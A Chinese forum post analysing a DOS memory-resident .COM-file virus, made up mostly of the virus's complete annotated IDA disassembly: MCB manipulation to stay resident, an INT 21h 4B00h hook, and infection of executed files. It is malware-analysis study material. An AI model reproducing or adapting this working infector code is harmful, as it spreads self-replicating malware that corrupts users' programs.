发布于2022年11月8日3年前 dos 内存驻留病毒下面这个病毒不像之前的文件感染病毒那么简单了这是一个驻留内存病毒,所谓内存驻留病毒就是当程序结束之后还会有内存没有被释放,这就恐怖了可以利用这个修改中断让dos听你的话。为了能驻留内存就必须使程序结束后需要的内存不被释放这就要靠mcb这个内存管理控制块。mcb的相关概念查阅http://hi.baidu.com/dp282074009/blog/item/560e3319b642037ddab4bda6.html病毒行为:更改21号中断 4B00h的功能 使其实现感染.com文件的功能流程:判断是否已经主流内存,如果没有进行内存驻留 获取mcb的段址 更改节大小为病毒预留空间 使结束程序时它不被释放 通过psp结构的结束段址获取病毒写入病毒的位置 写入更改21号中断的病毒 此时的21号中断4b00h执行的就是感染com文件的功能 seg000:0000 ;seg000:0000 ; +-------------------------------------------------------------------------+seg000:0000 ; | This file is generated by The Interactive Disassembler (IDA) |seg000:0000 ; | Copyright (c) 2007 by DataRescue sa/nv, <[email protected]> |seg000:0000 ; | Licensed to: Mach EDV Dienstleistungen, Jan Mach, 1 user, adv, 11/2007 |seg000:0000 ; +-------------------------------------------------------------------------+seg000:0000 ;seg000:0000 ; Input MD5 : D4B946D3359F303FDBA49D0E5EBC388Bseg000:0000seg000:0000 ; File Name : C:\新建文件夹\tsr.exeseg000:0000 ; Format : MS-DOS executable (EXE)seg000:0000 ; Base Address: 0h Range: 0h-161h Loaded length: 161hseg000:0000 ; Entry Point : 0:0seg000:0000seg000:0000 .386seg000:0000 .model largeseg000:0000seg000:0000 ; ===========================================================================seg000:0000seg000:0000 ; Segment type: Pure codeseg000:0000 seg000 segment byte public 'CODE' use16seg000:0000 assume cs:seg000seg000:0000 assume es:nothing, ss:seg000, ds:nothing, fs:nothing, gs:nothingseg000:0000seg000:0000 ; =============== S U B R O U T I N E =======================================seg000:0000seg000:0000 ; Attributes: bp-based frameseg000:0000seg000:0000 public startseg000:0000 start proc near ; CODE XREF: seg000:loc_136Jseg000:0000seg000:0000 var_6 = word ptr -6seg000:0000 arg_73 = byte ptr 75hseg000:0000seg000:0000 mov bp, spseg000:0002 int 3 ; Trap to Debuggerseg000:0003 mov bp, [bp+var_6]seg000:0006 sub bp, 3seg000:000A push dsseg000:000B push esseg000:000C mov ax, 3A29h ; 删除文件 不过 有点奇怪 因为都没有指定删除路径seg000:000F int 21h ; DOS - 2+ - REMOVE A DIRECTORY ENTRY (RMDIR)seg000:000F ; DS:DX -> ASCIZ pathname (may include drive)seg000:0011 cmp ax, 3B29h ; ax=错误吗seg000:0014 jz short loc_68 ; 看到这应该明白了吧 原来被骗了 上面 的中断 是病毒驻留内存钩住的中段seg000:0016 mov ax, ds ; 没有驻留内存 那么 进行下面seg000:0018 dec ax ; 此时ax指向mcb块seg000:0019 mov ds, axseg000:001B assume ds:nothingseg000:001B sub word ptr ds:3, 18h ; 改变mcb中内存的大小 使得程序 结束不能将内存全部释放seg000:0021 sub word ptr ds:12h, 18h ; psp结构中分配段的结束段址seg000:0027 mov ax, ds:12hseg000:002A mov ds, ax ; ds=ax指向全部内存减去病毒大小的位置seg000:002C assume ds:nothingseg000:002C inc axseg000:002D mov es, ax ; 这里设置病毒自己的mcb块seg000:002F mov byte ptr ds:0, 5Ah ; 'Z'seg000:0034 mov word ptr ds:1, 8seg000:003A mov word ptr ds:3, 17hseg000:0040 push csseg000:0041 pop dsseg000:0042 assume ds:seg000seg000:0042 xor di, diseg000:0044 mov cx, 0A2h ; '?seg000:0047 mov si, bpseg000:0049 rep movsw ; 写病毒seg000:004B xor ax, axseg000:004D mov ds, axseg000:004F push dsseg000:0050 lds ax, dword ptr loc_84 ; 当前的84hseg000:0054 assume ds:nothingseg000:0054 mov es:137h, ax ; ax是新的偏移seg000:0058 mov word ptr es:139h, ds ; ds是新的断值seg000:005D pop dsseg000:005E mov word ptr ds:84h, 78h ; 'x' ; 与上面 的84是相同的seg000:0064 mov word ptr ds:86h, esseg000:0068seg000:0068 loc_68: ; CODE XREF: start+14jseg000:0068 pop dsseg000:0069 pop esseg000:006A mov di, 100hseg000:006D push diseg000:006E lea si, [bp+arg_73] ; 恢复前三个字节seg000:0072 movsbseg000:0073 movswseg000:0074 retnseg000:0074 start endp ; sp-analysis failedseg000:0074 ;病毒驻留的21号中断seg000:0075 ; ---------------------------------------------------------------------------seg000:0075 int 20h ; DOS - PROGRAM TERMINATIONseg000:0075 ; returns to DOS--identical to INT 21/AH=00hseg000:0077 ; ---------------------------------------------------------------------------seg000:0077 add [bx+si+53h], dlseg000:007A push cxseg000:007B push dxseg000:007C push siseg000:007D push diseg000:007E push dsseg000:007F push esseg000:0080 cmp ax, 4B00h ;这个太狠了 本来是执行程序的中断被修改了那么只要有程序被修改 那就惨了seg000:0083seg000:0083 loc_83: ; DATA XREF: start:loc_50rseg000:0083 jz short loc_88seg000:0085seg000:0085 loc_85: ; CODE XREF: seg000:009Cjseg000:0085 jmp loc_12Eseg000:0088 ; ---------------------------------------------------------------------------seg000:0088seg000:0088 loc_88: ; CODE XREF: seg000:loc_83jseg000:0088 mov word ptr cs:dword_143, dx ;保存的是文件名seg000:008D mov word ptr cs:dword_143+2, dsseg000:0092 mov ax, 4300hseg000:0095 lds dx, cs:dword_143seg000:009A int 21h ; DOS - 2+ - GET FILE ATTRIBUTESseg000:009A ; DS:DX -> ASCIZ file name or directoryseg000:009A ; name without trailing slashseg000:009C jb short loc_85seg000:009E push cxseg000:009F push dsseg000:00A0 push dxseg000:00A1 mov ax, 4301hseg000:00A4 push axseg000:00A5 xor cx, cxseg000:00A7 int 21h ; DOS - 2+ - SET FILE ATTRIBUTES 设置文件属性问自己定义文件操作准备seg000:00A7 ; DS:DX -> ASCIZ file nameseg000:00A7 ; CX = file attribute bitsseg000:00A9 lds dx, cs:dword_143 ;打开文件seg000:00AE mov ax, 3D02hseg000:00B1 int 21h ; DOS - 2+ - OPEN DISK FILE WITH HANDLEseg000:00B1 ; DS:DX -> ASCIZ filenameseg000:00B1 ; AL = access modeseg000:00B1 ; 2 - read & writeseg000:00B3 xchg ax, bxseg000:00B4 push csseg000:00B5 pop dsseg000:00B6 assume ds:seg000seg000:00B6 push csseg000:00B7 pop esseg000:00B8 assume es:seg000 seg000:00B8 mov ax, 5700hseg000:00BB int 21h ; DOS - 2+ - GET FILE'S DATE/TIMEseg000:00BB ; BX = file handleseg000:00BD push cxseg000:00BE push dxseg000:00BF mov cx, 1Ahseg000:00C2 mov dx, 147hseg000:00C5 mov ah, 3Fhseg000:00C7 int 21h ; DOS - 2+ - READ FROM FILE WITH HANDLEseg000:00C7 ; BX = file handle, CX = number of bytes to readseg000:00C7 ; DS:DX -> bufferseg000:00C9 mov ax, 4202hseg000:00CC xor dx, dx ;移动文件指针seg000:00CE xor cx, cxseg000:00D0 int 21h ; DOS - 2+ - MOVE FILE READ/WRITE POINTER (LSEEK)seg000:00D0 ; AL = method: offset from end of fileseg000:00D2 cmp word ptr byte_147, 5A4Dhseg000:00D8 jz short loc_E5seg000:00DA mov cx, 148hseg000:00DD add cx, 146hseg000:00E1 cmp ax, cxseg000:00E3 jl short loc_E7seg000:00E5seg000:00E5 loc_E5: ; CODE XREF: seg000:00D8jseg000:00E5 ; seg000:00EAjseg000:00E5 jmp short loc_11Dseg000:00E7 ; ---------------------------------------------------------------------------seg000:00E7seg000:00E7 loc_E7: ; CODE XREF: seg000:00E3jseg000:00E7 cmp ax, 0FE9Ehseg000:00EA ja short loc_E5seg000:00EC mov di, 75h ; 'u'seg000:00EF mov si, 147hseg000:00F2 movsbseg000:00F3 movswseg000:00F4 sub ax, 3seg000:00F7 mov word ptr byte_147+1, axseg000:00FA mov dl, 0E9h ; '?seg000:00FC mov byte_147, dlseg000:0100 mov dx, 0seg000:0103 mov cx, 143h ;写入病毒啦 seg000:0106 mov ah, 40hseg000:0108 int 21h ; DOS - 2+ - WRITE TO FILE WITH HANDLEseg000:0108 ; BX = file handle, CX = number of bytes to write, DS:DX -> bufferseg000:010A xor cx, cxseg000:010C xor dx, dxseg000:010E mov ax, 4200hseg000:0111 int 21h ; DOS - 2+ - MOVE FILE READ/WRITE POINTER (LSEEK)seg000:0111 ; AL = method: offset from beginning of fileseg000:0113 mov dx, 147hseg000:0116 mov cx, 3 ;重写文件前三个字节 跳转到病毒代码seg000:0119 mov ah, 40hseg000:011B int 21h ; DOS - 2+ - WRITE TO FILE WITH HANDLEseg000:011B ; BX = file handle, CX = number of bytes to write, DS:DX -> bufferseg000:011Dseg000:011D loc_11D: ; CODE XREF: seg000:loc_E5jseg000:011D mov ax, 5701hseg000:0120 pop dxseg000:0121 pop cxseg000:0122 int 21h ; DOS - 2+ - SET FILE'S DATE/TIMEseg000:0122 ; BX = file handle, CX = time to be setseg000:0122 ; DX = date to be setseg000:0124 mov ah, 3Ehseg000:0126 int 21h ; DOS - 2+ - CLOSE A FILE WITH HANDLEseg000:0126 ; BX = file handleseg000:0128 pop axseg000:0129 pop dxseg000:012A pop dsseg000:012B assume ds:nothingseg000:012B pop cxseg000:012C int 21h ; DOS -seg000:012Eseg000:012E loc_12E: ; CODE XREF: seg000:loc_85jseg000:012E pop esseg000:012F assume es:nothingseg000:012F pop dsseg000:0130 pop diseg000:0131 pop siseg000:0132 pop dxseg000:0133 pop cxseg000:0134 pop bxseg000:0135 pop axseg000:0136 jmp far ptr startseg000:0136 ; ---------------------------------------------------------------------------seg000:013B db 5Bh ; [seg000:013C db 50h ; Pseg000:013D db 53h ; Sseg000:013E db 2Fh ; /seg000:013F db 47h ; Gseg000:0140 db 0FDh ; ?seg000:0141 db 5Dh ; ]seg000:0142 db 0seg000:0143 dword_143 dd 0 ; DATA XREF: seg000:loc_88wseg000:0143 ; seg000:0095r ...seg000:0147 byte_147 db 1Ah dup(0) ; DATA XREF: seg000:00D2rseg000:0147 ; seg000:00FCw ...seg000:0147 seg000 endsseg000:0147seg000:0147seg000:0147 end start
创建帐户或登录后发表意见